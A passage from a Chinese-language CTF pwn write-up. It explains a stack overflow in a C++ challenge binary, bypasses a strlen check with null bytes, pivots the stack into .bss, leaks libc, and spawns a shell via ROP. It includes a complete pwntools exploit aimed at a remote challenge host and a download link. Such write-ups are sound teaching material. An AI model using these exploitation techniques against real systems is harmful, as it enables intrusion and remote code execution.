*)&std::cin, s2, 0x30LL); 这里溢出了0x10,可以栈迁移 那么结合起来就是先往bss段构造rop,利用栈迁移执行就行了,至于if ( strlen(name) > 0x10 )这个检测,我们直接填入0字节就可以绕过 剩余的操作无非就和典例一是一样的,这里注意的是c++的函数参数填充关系即可 pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main) 填充0x900的junk code 用来绕过以及填充到合适的地方布局,ret*0x20用来抬栈,这个看情况而定,本题不抬栈会破坏栈结构无法正确的传入参数,rdi,cout,rsi,setbuf,0,std,main这里翻译过来就是如下 std(cout,setbuf.got,0) 返回地址是main。 以上操作泄露了libc直接乱杀了,第二次栈迁移就是直接构造getshell的rop链就行了 exp from pwn import * #r=process('./boom') r=remote('47.107.51.210',6790) context.log_level='debug' context.arch = 'amd64' rdi=0x00000000004014c3 rsi=0x00000000004014c1 ret=0x00000000004014c4 main=0x4012DA std=0x401130 setbuf=0x404018 cout=0x4040C0 bss=0x0404320 leave=0x4013F8 r.recv() pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main) r.sendline(pay) r.recv() pay=flat('\x00'*0x20,bss+0x900,leave) r.sendline(pay) r.recvuntil("Do you wanna try again?\n") libc=u64(r.recv(6)+b'\x00'*2)-0x087e60 sys=libc+0x055410 sh=libc+0x1b75aa print(hex(libc)) r.recv() pay=flat('\x00'*0x600,ret*0x20,rdi,sh,ret,sys,main) r.sendline(pay) r.recv() pay=flat('\x00'*0x20,bss+0x600,leave) r.sendline(pay) r.interactive() 题目及其exp打包如下 链接:https://pan.baidu.com/s/1PWPdoUzBm5oJatSz_A4BFA 提取码:87zc --来自百度网盘超级会员V3的分享